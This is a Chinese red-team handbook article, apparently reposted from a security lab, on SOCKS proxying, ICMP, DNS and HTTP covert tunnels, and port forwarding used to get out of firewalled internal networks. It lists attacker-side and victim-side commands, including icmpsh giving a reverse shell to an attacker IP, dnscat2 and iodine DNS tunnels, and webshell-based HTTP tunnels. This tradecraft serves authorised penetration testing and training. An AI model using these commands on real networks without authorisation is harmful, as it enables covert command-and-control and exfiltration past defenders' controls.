【HW前知识库储备】红队渗透手册之代理转发与隧道篇
文章来源:水滴安全实验室
通常会有以下四种情况
内网防火墙对出口流量没有任何端口限制。
内网的防火墙只配置了入站规则。
内网防火墙出站入站规则都配置了。
内网防火墙都配置了出入站规则并且具有协议检测和识别能力且仅允许HTTP流量出去外网。
0x01 socks代理服务端篇
针对第一种情况,由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活.常用的方法有
正向连接,将shell转发到某个端口,或者内网主机的端口或者监听SOCKS5端口开始监听,等待外面的攻击者连接(此时,外网的任何人都可以来连接被攻击者的端口)
反向连接,受害者主机通过指定攻击者正在监听的IP和port,将shell或内网端口等转发到攻击者环境,也可实现socks5反向代理。
其中可以用来做socks5代理的工具有:
1. Frp:
frp是一个高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务,支持tcp,http,https等协议类型。
下载地址:https://github.com/fatedier/frp/releases
推荐文章:https://www.jianshu.com/p/e0581ee84323
2. Earthworm(ew)
一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能。
下载地址:(暂不提供)
推荐文章:http://rootkiter.com/EarthWorm/
3. Ssocks
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试
下载地址:(http://sourceforge.net/projects/ssocks/)
推荐文章:https://blog.csdn.net/God_XiangYu/article/details/100132929
4. msf做socks代理
推荐文章:https://www.cnblogs.com/dgjnszf/p/12114358.html
5. CobaltStrike做socks代理
推荐文章:https://www.secshi.com/6575.htms
针对第二种情况,我们可以反向连接受害者主机,通过指定攻击者正在监听的IP和port,将shell,内网端口等转发到攻击者因为只限制入站流量,出站未做限制,所以做socks代理方法依然适用。
0x02 隐蔽隧道篇
针对第三种和第四种情况, socks代理的方法就受限制,因为端口有限,我们可以选择隐蔽隧道技术,把内网服务器的端口通过http/https,ICMP,DNS隧道转发到本机, 形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透常见的隐蔽隧道工具有以下几种。
一、ICMP隧道
ICMP隧道的原理:基于IP协议,将TCP/UDP数据包封装到ICMP的数据包中,绕过防火墙,实现出网。
ICMP隧道的应用场景:上层协议例如HTTP协议、DNS协议和正反向端口转发都失败时,可以尝试ICMP出网。
ICMP的常用工具:icmpsh、icmptunnel、ptunnel
1、icmpsh
工具安装
git clone https://github.com/inquisb/icmpsh.git #下载地址
apt-get install python-impacket #安装依赖
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭本地的ICMP应答
被攻击者执行
icmpsh.exe -t 攻击者IP
攻击者执行
python icmpsh_m.py 攻击者IP 被攻击者IP
2、icmptunnel
工具安装
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭本地的ICMP应答
攻击者执行
一个终端执行
./icmptunnel –s
另一个终端执行
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
被攻击者执行
一个终端执行
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmptunnel 攻击者IP
另一个终端执行
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
3、ptunnel
工具安装
wget https://github.com/esrrhs/pingtunnel/releases(最新的release下载地址)
sudo unzip pingtunnel_linux64.zip
攻击者执行
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
sudo ./pingtunnel -type server
被攻击者执行
// client, Forward udp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455
// client, Forward tcp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1
// client, Forward sock5, implicitly open tcp, so no target server is needed
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1
二、DNS隧道
DNS隧道的原理:基于UDP协议,将TCP/UDP数据包封装到dns的数据包中,绕过防火墙,实现出网。
DNS隧道的应用场景:上层协议例如HTTP协议、正反向端口转发都失败时,可以尝试DNS协议出网。
DNS的常用工具:dnscat2、dns2tcp、iodine
1、dnscat2工具安装
server端安装:需要ruby环境、安装gem、ruby、dnscat2服务端
yum install gem
rm /usr/bin/ruby
wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz
tar -zxvf ruby-2.5.0.tar.gz
cd ruby-2.5.0
mkdir -p /usr/local/ruby
./configure --prefix=/usr/local/ruby
make && make install
ln -s /usr/local/ruby/bin/ruby /usr/bin/ruby
git clone https://github.com/iagox86/dnscat2.git
cd /server
gem install bunlder
ln /usr/local/ruby/bin/bunlder /usr/bin/bunlder
bunlder install
客户端安装:
下载地址:https://downloads.skullsecurity.org/dnscat2/
powershell客户端:https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master
攻击者执行
ruby dnscat2.rb yourdomain.****.top -e open -c password --no-cache
被攻击者执行
./dnscat --secret=password yourdomain.target.com
2、dns2tcp
工具安装
su - #进入root用户
apt-get install update
apt-get install dns2tcp #实际上是同时安装了dns2tcp的客户端和服务端
windows客户端:
https://pan.baidu.com/s/1w-dpn0US9SmfjqdXuHS4aA提取码: tkgd)
攻击者执行
dns2tcpd -f /etc/dns2tcpd.conf -F -d 2
被攻击者执行
./dns2tcpc.exe -r c2 -z dnsc2.test.com target_ip -l 5353 -d 2
3、iodine
工具安装
sudo apt-get install iodine
攻击者执行
sudo iodined -c -P 123pass ClientIP(客户端IP) domain.com -DDD
被攻击者执行
sudo iodine -f -P 123pass serverIP(服务器IP) domain.com -r
三、HTTP隧道工具篇
HTTP隧道的原理:基于HTTP协议,将TCP/UDP数据包封装到HTTP的数据包中,绕过防火墙,实现出网。
HTTP隧道的应用场景:只允许HTTP协议出网,复用WEB端口。
HTTP隧道的常用工具:Reduh、Tunna、reGeorg、Weevely、ABPTTS
1. Reduh
使用条件:
1.获取目标服务器webshell,且可以上传reDuh服务端对应脚本文件。
2.知道目标服务器开放的内网端口,如远程桌面的端口是3389。
3.目标服务器网络做了端口策略限制,只允许外部访问内网的80等特定端口。
下载链接:https://github.com/sensepost/reDuh
参考链接:https://www.jianshu.com/p/cd3dae49385d
2. Tunna
一款神奇的工具,它可以通过HTTP封装隧道通信任何TCP,以及用于绕过防火墙环境中的网络限制。
注:Tunna代理并不是非常稳定,经常出现掉线情况,尤其是使用Tunna代理远程连接的流量时,经常掉线。但是使用Tunna访问内网web服务还算稳定。
下载链接:https://github.com/SECFORCE/Tunna
参考链接:https://blog.csdn.net/limb0/article/details/103856835
3. reGeorg
reGeorg是reDuh的升级版
下载链接:https://github.com/sensepost/reGeorg
参考链接:https://blog.csdn.net/qq_17204441/article/details/88834095
4. Weevely
weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式构建,可以算作是linux下的一款php菜刀替代工具,具有很好的隐蔽性(生成随机参数且base64加密),在linux上使用时还是很给力的(集服务器错误配置审计,后门放置,暴力破解,文件管理,资源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能)
下载地址:http://epinna.github.com/Weevely/
参考链接:https://www.cnblogs.com/lingerhk/p/4009073.html
5. ABPTTS
Abptts是一款基于python2.7的http加密隧道工具,Abptts能做的很多,缺点是不支持PHP
通过http加密隧道转发至目标内网下指定的单个TCP端口
通过http加密隧道同时转发至目标内网下的多台机器上的多个tcp端口
把ssh隧道包裹在http加密隧道中传递,对目标二级内网进行穿透
下载地址:https://github.com/nccgroup/ABPTTS.git
参考链接:https://blog.csdn.net/include_heqile/article/details/85008629
0x03 端口转发篇
理论上,任何接入互联网的计算机都是可访问的,但如果目标主机在内网中,我们又想和该目标主机进行通信的话,除了做socks代理和http隧道外,我们还可以使用端口转发的方法来与目标主机进行通信。
文章开始提到的四种场景,前三种场景都是有常用的端口转发工具的。
1. Frp
下载地址:https://github.com/fatedier/frp/releases
参考链接:http://www.secflag.com/archives/373.html
2. Msf+Portfwd
参考链接:https://blog.csdn.net/DarkHQ/article/details/80411158
3. Lcx
lcx是一款强大的内网端口转发工具,已经被杀毒软件列为木马,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口. 它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网3389等端口。
下载地址:自行搜索引擎
参考链接:https://blog.bbskali.cn/356.html
4. Socat
下载地址:http://www.dest-unreach.org/socat/
参考链接:https://www.cnblogs.com/iamlehaha/p/6540695.html
5. SSH
#本地端口转发:
ssh-CfNg-Lport1:127.0.0.1:port2user@host
参数:-L本地网卡地址:本地端口:目标地址:目标端口
#远程端口转发:
ssh-CfNg-Rport2:127.0.0.1:port1user@hsst
参数:-R远程网卡地址:远程端口:目标地址:目标端口
#动态端口转发
ssh-Dlocalhost:2000root@103.59.22.17
参数:-D本地网卡地址:本地端口
6. Netsh
netsh是windows下提供网络管理的命令行工具,它是一个交互式的shell,涉及到上下文的概念。我们在交互式下面进入相应的上下文,进行参数的设置。也可以直接下面这样非交互式的进行端口转发。
`netshinterfaceipv6install
#转发
netshinterfaceportproxyaddv4tov4listenaddress=10.10.18.1listenport=4455connectaddress=10.10.12.1connectport=8080
#删除转发
netshinterfaceportproxydeletev4tov4listenaddress={B的IP}listenport={B的端口}
0x04 socks代理客户端
在做好socks代理以后,我们需要使用socks客户端挂上代理,才能访问目标环境,在这里说一下个人的配置, 小编工作机为mac,socks代理客户端图形化工具使用proxifier,命令行工具使用proxychains4,另外我比较喜欢单独配置,burpsuite走代理就在burpsuite配置,终端走代理就在终端配置代理,浏览器需要走代理就在浏览器配置代理。
1.proxychains 需要修改mac的配置
修改配置参考链接:https://zhuanlan.zhihu.com/p/21281236
使用方法参考链接:https://www.cnblogs.com/wyet/p/7868395.html
2.proxifier 这个工具好用,跨平台使用
参考链接:http://www.hopol.cn/2018/05/1142/
3 burpsuite 挂socks代理
参考链接:https://www.cnblogs.com/hookjoy/p/10759555.html
4 chrome 挂socks代理
插件:SwitchyOmega
5 终端走代理
挂代理命令alias proxy='export all_proxy=socks5://127.0.0.1:1086'
取消代理命令alias unproxy='unset all_proxy
版权申明:内容来源网络,版权归原创者所有。除非无法确认,我们都会标明作者及出处,如有侵权烦请告知,我们会立即删除并表示歉意。祝愿每一位读者生活愉快!谢谢!
推荐阅读
*原来 Kubernetes 的 DNS 解析,是这样实现的
*相见恨晚的 18 个 Linux 趣味命令,最后一个千万要尝试~